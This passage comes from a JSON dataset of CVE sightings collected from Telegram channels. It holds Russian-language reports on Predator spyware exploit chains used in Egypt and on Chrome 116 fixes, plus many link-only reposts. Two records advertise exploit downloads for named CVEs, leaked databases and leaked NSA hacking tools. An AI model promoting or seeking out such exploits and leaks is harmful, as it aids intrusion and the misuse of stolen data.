\u0432\u044b\u0431\u043e\u0440\u0430\u0445 \u043f\u0440\u0435\u0437\u0438\u0434\u0435\u043d\u0442\u0430 \u0432 2024 \u0433\u043e\u0434\u0443.\n\n\u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0437\u0430 \u0430\u0442\u0430\u043a\u043e\u0439, \u043f\u043e \u0434\u0430\u043d\u043d\u044b\u043c \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u0441\u0442\u043e\u044f\u043b\u0438 \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0435 \u0432\u043b\u0430\u0441\u0442\u0438 \u0415\u0433\u0438\u043f\u0442\u0430.\n\n\u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0440\u0430\u043d\u0435\u0435 \u0442\u0435\u043b\u0435\u0444\u043e\u043d \u0410\u043b\u044c\u0442\u0430\u043d\u0442\u0430\u0432\u0438 \u0443\u0436\u0435 \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u0432\u0437\u043b\u043e\u043c\u044b\u0432\u0430\u043b\u0441\u044f \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e Cytrox spyware \u0435\u0449\u0435 \u0432 2021 \u0433\u043e\u0434\u0443 \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u0430, \u043a\u0430\u043a \u0438 \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u044b \u0440\u044f\u0434\u0430 \u0434\u0440\u0443\u0433\u0438\u0445 \u043e\u043f\u043f\u043e\u0437\u0438\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0434\u0435\u044f\u0442\u0435\u043b\u0435\u0439.\n\n\u0412 \u0445\u043e\u0434\u0435 \u0441\u043e\u0432\u043c\u0435\u0441\u0442\u043d\u043e\u0433\u043e \u0440\u0430\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u0441 Facebook (\u043f\u0440\u0438\u0437\u043d\u0430\u043d\u0430 \u0432 \u0420\u0424 \u044d\u043a\u0441\u0442\u0440\u0435\u043c\u0438\u0441\u0442\u0441\u043a\u043e\u0439) \u0442\u043e\u0433\u0434\u0430 \u0431\u044b\u043b\u043e \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043e \u0447\u0442\u043e Cytrox \u0438\u043c\u0435\u0435\u0442 \u0448\u0438\u0440\u043e\u043a\u0443\u044e \u043a\u043b\u0438\u0435\u043d\u0442\u0443\u0440\u0443 \u0432 \u0410\u0440\u043c\u0435\u043d\u0438\u0438, \u0413\u0440\u0435\u0446\u0438\u0438, \u0418\u043d\u0434\u043e\u043d\u0435\u0437\u0438\u0438, \u041c\u0430\u0434\u0430\u0433\u0430\u0441\u043a\u0430\u0440\u0435, \u041e\u043c\u0430\u043d\u0435, \u0421\u0430\u0443\u0434\u043e\u0432\u0441\u043a\u043e\u0439 \u0410\u0440\u0430\u0432\u0438\u0438 \u0438 \u0421\u0435\u0440\u0431\u0438\u0438.\n\nCitizen Lab \u043f\u043e\u044f\u0441\u043d\u0438\u043b\u0430, \u0447\u0442\u043e \u0432 \u043f\u0435\u0440\u0438\u043e\u0434 \u0441 \u043c\u0430\u044f \u043f\u043e \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u044c 2023 \u0433\u043e\u0434\u0430 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043b\u0438 \u0430\u0442\u0430\u043a\u0443 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0444\u0435\u0439\u043a\u043e\u0432\u044b\u0445 SMS \u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 WhatsApp, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u0443\u044f \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u0434\u0435\u0432\u0430\u0439\u0441\u0430 \u043a \u0441\u0435\u0442\u0438 Vodaphone Egypt \u0441 \u043f\u043e\u0437\u0438\u0446\u0438\u0438 \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u0430 \u0434\u043b\u044f \u043f\u0435\u0440\u0435\u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043d\u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0441\u0430\u0439\u0442 \u0447\u0435\u0440\u0435\u0437  \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u044b\u0435 \u0440\u0435\u0441\u0443\u0440\u0441\u044b \u0431\u0435\u0437 HTTPS. \n\n\u041d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445 iOS \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0441\u044f \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u0434\u043b\u044f \u043f\u0435\u0440\u0432\u043e\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 (RCE) \u0432 Safari \u0447\u0435\u0440\u0435\u0437 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b, \u043e\u0448\u0438\u0431\u043a\u0430 CVE-2023-41991 \u0434\u043b\u044f \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043f\u043e\u0434\u043f\u0438\u0441\u0438 \u0438 CVE-2023- 41992 \u0434\u043b\u044f \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u044f\u0434\u0440\u0430.\n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, Google TAG \u043e\u0442\u043c\u0435\u0447\u0430\u0435\u0442, \u0447\u0442\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u0443\u044e \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432 \u0434\u043b\u044f \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u0448\u043f\u0438\u043e\u043d\u0441\u043a\u043e\u0433\u043e \u041f\u041e Predator \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 Android \u0432 \u0415\u0433\u0438\u043f\u0442\u0435, \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044f CVE-2023-4762\u00a0\u0432 Chrome, \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u0443\u044e 5 \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u044f \u2014 \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 0-day \u0434\u043b\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430.\n\n\u0422\u0435\u043c \u043d\u0435 \u043c\u0435\u043d\u0435\u0435, \u0434\u0435\u0442\u0430\u043b\u0438 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0442\u044c \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u0448\u043f\u0438\u043e\u043d\u0441\u043a\u0438\u0445 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432, \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043f\u043e\u044f\u0441\u043d\u044f\u0442\u044c \u043d\u0435 \u0441\u0442\u0430\u043b\u0438.\n\n\u0418 \u0431\u0435\u0437 \u0442\u043e\u0433\u043e \u043f\u043e\u043d\u044f\u0442\u043d\u043e \u0447\u0442\u043e, \u043f\u043e\u0441\u043b\u0435 \u0432\u043d\u0435\u0441\u0435\u043d\u0438\u044f \u0421\u0428\u0410 \u0432 \u0438\u044e\u043b\u0435 \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u0430 Predator, Cytrox, \u0432 \u0441\u0432\u043e\u0439 \u0447\u0435\u0440\u043d\u044b\u0439 \u0441\u043f\u0438\u0441\u043e\u043a, \u0441\u0442\u0430\u043b\u0438 \u0432\u0434\u0440\u0443\u0433 \u043d\u0443\u0436\u043d\u044b \u0440\u0430\u0437\u043e\u0431\u043b\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043a\u0435\u0439\u0441\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0432 \u0431\u043b\u0438\u0436\u0430\u0439\u0448\u0435\u0435 \u0432\u0440\u0435\u043c\u044f \u0441\u0442\u0430\u043d\u0435\u0442 \u0435\u0449\u0435 \u0431\u043e\u043b\u044c\u0448\u0435.\n\n\u0412\u0435\u0434\u044c \u043f\u0440\u043e\u0448\u043b\u043e\u0433\u043e\u0434\u043d\u0438\u0439 \u0441\u043a\u0430\u043d\u0434\u0430\u043b \u0441 Predator \u0432 \u0413\u0440\u0435\u0446\u0438\u0438 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u043b \u0443\u0441\u043a\u043e\u0440\u0435\u043d\u043d\u0443\u044e \u043e\u0442\u0441\u0442\u0430\u0432\u043a\u0443 \u0434\u0432\u0443\u0445 \u0432\u044b\u0441\u043e\u043a\u043e\u043f\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u043f\u0440\u0430\u0432\u0438\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0445 \u0447\u0438\u043d\u043e\u0432\u043d\u0438\u043a\u043e\u0432, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0430 \u043d\u0430\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e\u0439 \u0440\u0430\u0437\u0432\u0435\u0434\u043a\u0438. \u0422\u0435\u043f\u0435\u0440\u044c - \u0415\u0433\u0438\u043f\u0435\u0442.", "creation_timestamp": "2023-09-25T11:53:22.000000Z"}, {"uuid": "ba09a42c-4ee1-42f5-90c3-3dc133200735", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4764", "type": "seen", "source": "https://t.me/true_secator/4821", "content": "Google \u0442\u0435\u043f\u0435\u0440\u044c \u0443\u0436\u0435 \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u0435\u0436\u0435\u043d\u0435\u0434\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Chrome 116.\n\n\u041f\u0435\u0440\u0432\u0430\u044f \u043e\u0448\u0438\u0431\u043a\u0430, \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u0430\u044f \u043a\u0430\u043a CVE-2023-4761, \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u043f\u0430\u043c\u044f\u0442\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0433\u0440\u0430\u043d\u0438\u0446 \u0432 API FedCM (Federated Credential Management).\n\n\u041e\u0448\u0438\u0431\u043a\u0430 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u043f\u0430\u043c\u044f\u0442\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0431\u0443\u0444\u0435\u0440\u0430 \u0432 \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u043c \u0438\u0442\u043e\u0433\u0435 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u044b\u0437\u0432\u0430\u0442\u044c DoS \u0438\u043b\u0438 \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u043c\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c\u0438 \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430.\n\n\u0412\u0442\u043e\u0440\u043e\u0439 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u043a \u2014 \u044d\u0442\u043e \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043f\u0443\u0442\u0430\u043d\u0438\u0446\u044b \u0442\u0438\u043f\u043e\u0432 \u0432 \u0434\u0432\u0438\u0436\u043a\u0435 JavaScript V8. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u0430\u044f \u043a\u0430\u043a CVE-2023-4762, \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0432\u044b\u0445\u043e\u0434\u0443 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u044b \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u043f\u0430\u043c\u044f\u0442\u0438.\n\n\u0422\u0440\u0435\u0442\u044c\u044f \u043e\u0448\u0438\u0431\u043a\u0430, CVE-2023-4763, \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u043e\u0439 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u043e\u0441\u043b\u0435 \u043e\u0441\u0432\u043e\u0431\u043e\u0436\u0434\u0435\u043d\u0438\u044f \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0435 \u00ab\u0441\u0435\u0442\u0438\u00bb Chrome. \u041e\u043d\u0430\u00a0\u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0434\u043b\u044f RCE \u0438\u043b\u0438 DoS, \u0438 \u0432 \u0441\u043e\u0447\u0435\u0442\u0430\u043d\u0438\u0438 \u0441 \u0434\u0440\u0443\u0433\u0438\u043c\u0438 - \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u043f\u043e\u043b\u043d\u043e\u0439 \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u044b.\n\n\u0427\u0435\u0442\u0432\u0435\u0440\u0442\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u0430\u044f \u0432 \u044d\u0442\u043e\u043c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0438 Chrome 116, -  CVE-2023-4764, \u0437\u043f\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0439 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0432 BFCache, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0439 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u0443\u044e HTML-\u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0443 \u0434\u043b\u044f \u043f\u043e\u0434\u043c\u0435\u043d\u044b \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0433\u043e URL-\u0441\u0442\u0440\u043e\u043a\u0438.\n\nGoogle \u043d\u0435 \u0441\u043e\u043e\u0431\u0449\u0430\u0435\u0442 \u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u043a\u0430\u043a\u043e\u0439-\u043b\u0438\u0431\u043e \u0438\u0437 \u044d\u0442\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0437\u043b\u043e\u043d\u0430\u043c\u0435\u0440\u0435\u043d\u043d\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445.\n\n\u041f\u043e\u0441\u043b\u0435\u0434\u043d\u044f\u044f \u0432\u0435\u0440\u0441\u0438\u044f Chrome \u0442\u0435\u043f\u0435\u0440\u044c \u0432\u044b\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a 116.0.5845.179 \u0434\u043b\u044f macOS \u0438 Linux \u0438 \u043a\u0430\u043a \u0432\u0435\u0440\u0441\u0438\u0438 116.0.5845.179/.180 \u0434\u043b\u044f Windows.", "creation_timestamp": "2023-09-07T16:20:05.000000Z"}, {"uuid": "6e4d3112-12de-4327-9bce-49ab1329ffed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47162", "type": "seen", "source": "https://t.me/ctinow/208912", "content": "https://ift.tt/dLTR2MP\nCVE-2023-47162", "creation_timestamp": "2024-03-15T16:26:25.000000Z"}, {"uuid": "bab3d163-c8a1-454a-8633-40d4e0a3a055", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4714", "type": "seen", "source": "https://t.me/crackcodes/4390", "content": "\ud83d\udd78Black Wallpaper HD Background App Data Leak : Download\n\n\ud83e\udeacPlayTube CVE-2023-4714 Exploit : Check\n\n\ud83d\udc38PaperCut NG CVE-2023-4568 Exploit : Check\n\n\ud83d\udcccPrestashop CVE-2023-39677 Exploit : Check\n\n\ud83d\udccdMicrosoft SharePoint: CVE-2023-29357 Exploit : Check\n\n\ud83d\udc32Cisco CVE-2023-20209 Exploit : Check\n\n\ud83d\udcefElasticsearch Exploit-CVE-2023-31419 : Check\n\n\ud83e\ude85Chinese Maoxin Database Leak : Download\n\n\ud83d\udc7e\ud83d\udcdfNSA Equation Group Hacking Tools Leaked : Download", "creation_timestamp": "2023-09-28T18:37:41.000000Z"}, {"uuid": "f07894ec-396b-4065-9cfa-f98639a142ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4714", "type": "seen", "source": "https://t.me/crackcodes/4382", "content": "\ud83d\udd78Black Wallpaper HD Background App Data Leak : Download\n\n\ud83e\udeacPlayTube CVE-2023-4714 Exploit : Check\n\n\ud83d\udc38PaperCut NG CVE-2023-4568 Exploit : Check\n\n\ud83d\udcccPrestashop CVE-2023-39677 Exploit : Check\n\n\ud83d\udccdMicrosoft SharePoint: CVE-2023-29357 Exploit : Check\n\n\ud83d\udc32Cisco CVE-2023-20209 Exploit : Check\n\n\ud83d\udcefElasticsearch Exploit-CVE-2023-31419 : Check\n\n\ud83e\ude85Chinese Maoxin Database Leak : Download\n\n\ud83d\udc7e\ud83d\udcdfNSA Equation Group Hacking Tools Leaked : Download", "creation_timestamp": "2023-10-10T07:12:43.000000Z"}, {"uuid": "e9c92c3a-6e54-4e5f-8ebd-fc18c407a9e3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47162", "type": "seen", "source": "https://t.me/ctinow/208902", "content": "https://ift.tt/dLTR2MP\nCVE-2023-47162", "creation_timestamp": "2024-03-15T16:21:48.000000Z"}, {"uuid": "d949ce81-9bef-4381-9faf-67a2ea03c4b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4780", "type": "seen", "source": "https://t.me/ctinow/205823", "content": "https://ift.tt/uVZGkqe\nCVE-2023-4780", "creation_timestamp": "2024-03-12T16:32:09.000000Z"}, {"uuid": "e1b33482-7218-43d0-8a8f-6b3a8a85c58f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47699", "type": "seen", "source": "https://t.me/ctinow/208959", "content": "https://ift.tt/g6huXBs\nCVE-2023-47699", "creation_timestamp": "2024-03-15T17:26:46.000000Z"}, {"uuid": "646285d1-f9b1-4d60-87ec-213e37ebcd35", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47147", "type": "seen", "source": "https://t.me/ctinow/208958", "content": "https://ift.tt/KAoHDFr\nCVE-2023-47147", "creation_timestamp": "2024-03-15T17:26:45.000000Z"}, {"uuid": "ef63354f-1d58-4be6-b39b-a6c5a8d2c260", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47699", "type": "seen", "source": "https://t.me/ctinow/208948", "content": "https://ift.tt/g6huXBs\nCVE-2023-47699", "creation_timestamp": "2024-03-15T17:26:33.000000Z"}, {"uuid": "082c5405-2f47-4867-bdb9-ae6aea479ff5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47147", "type": "seen", "source": "https://t.me/ctinow/208947", "content": "https://ift.tt/KAoHDFr\nCVE-2023-47147", "creation_timestamp": "2024-03-15T17:26:32.000000Z"}, {"uuid": "c8d20d97-029f-4397-860a-fe5d9317aff3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4780", "type": "seen", "source": "https://t.me/ctinow/205807", "content": "https://ift.tt/uVZGkqe\nCVE-2023-4780", "creation_timestamp": "2024-03-12T16:26:40.000000Z"}, {"uuid": "afee0269-3203-4c78-b914-e2f8b6c66f04", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47534", "type": "seen", "source": "https://t.me/ctinow/205805", "content": "https://ift.tt/mPxoNtD\nCVE-2023-47534", "creation_timestamp": "2024-03-12T16:26:38.000000Z"}, {"uuid": "9a7bfbe0-b78f-4245-bddd-c1553bf0d9aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47534", "type": "seen", "source": "https://t.me/ctinow/205821", "content": "https://ift.tt/mPxoNtD\nCVE-2023-47534", "creation_timestamp": "2024-03-12T16:32:06.000000Z"}, {"uuid": "25cca368-c4b5-4f1d-8270-a9b85646f30b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4731", "type": "seen", "source": "https://t.me/ctinow/205551", "content": "https://ift.tt/wo9OtgT\nCVE-2023-4731", "creation_timestamp": "2024-03-12T11:36:34.000000Z"}, {"uuid": "9772759f-2314-485b-bf22-e40dc88c6501", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4729", "type": "seen", "source": "https://t.me/ctinow/205550", "content": "https://ift.tt/VPRAzla\nCVE-2023-4729", "creation_timestamp": "2024-03-12T11:36:33.000000Z"}, {"uuid": "023c0ae7-62b6-4f50-bc31-3904609e028f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4728", "type": "seen", "source": "https://t.me/ctinow/205549", "content": "https://ift.tt/eOp8lKg\nCVE-2023-4728", "creation_timestamp": "2024-03-12T11:36:29.000000Z"}, {"uuid": "62681320-90d4-4f93-b689-ede53813b26e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47635", "type": "seen", "source": "https://t.me/ctinow/203418", "content": "https://ift.tt/K2nQ1fx\nCVE-2023-47635 | Decidim up to 0.27.4 server-side request forgery", "creation_timestamp": "2024-03-08T16:21:38.000000Z"}, {"uuid": "b2806f0c-9cfb-4e2f-a721-da7ada1a3c2d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4731", "type": "seen", "source": "https://t.me/ctinow/205544", "content": "https://ift.tt/wo9OtgT\nCVE-2023-4731", "creation_timestamp": "2024-03-12T11:31:39.000000Z"}, {"uuid": "7c2e1aa4-3a35-4e5c-bd62-5ea35572995d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4729", "type": "seen", "source": "https://t.me/ctinow/205543", "content": "https://ift.tt/VPRAzla\nCVE-2023-4729", "creation_timestamp": "2024-03-12T11:31:38.000000Z"}, {"uuid": "2f6dad19-625b-4694-b686-c757a05832c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4728", "type": "seen", "source": "https://t.me/ctinow/205542", "content": "https://ift.tt/eOp8lKg\nCVE-2023-4728", "creation_timestamp": "2024-03-12T11:31:34.000000Z"}, {"uuid": "96608c86-8583-4d8f-9129-34369a129c65", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47090", "type": "seen", "source": "https://t.me/cibsecurity/73139", "content": "\u203c CVE-2023-47090 \u203c\n\nNATS nats-server before 2.9.23 and 2.10.x before 2.10.2 has an authentication bypass. An implicit $G user in an authorization block can sometimes be used for unauthenticated access, even when the intention of the configuration was for each user to have an account. The earliest affected version is 2.2.0.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-10-30T19:19:46.000000Z"}, {"uuid": "49a46fd5-1164-48dc-acf5-7e146dc5ec1e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47221", "type": "seen", "source": "https://t.me/ctinow/203489", "content": "https://ift.tt/hMQZJbH\nCVE-2023-47221", "creation_timestamp": "2024-03-08T18:26:56.000000Z"}, {"uuid": "b44b50d2-a2ee-4f29-825d-83a51d667564", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47634", "type": "seen", "source": "https://t.me/ctinow/203417", "content": "https://ift.tt/b3Z9uK2\nCVE-2023-47634 | Decidim up to 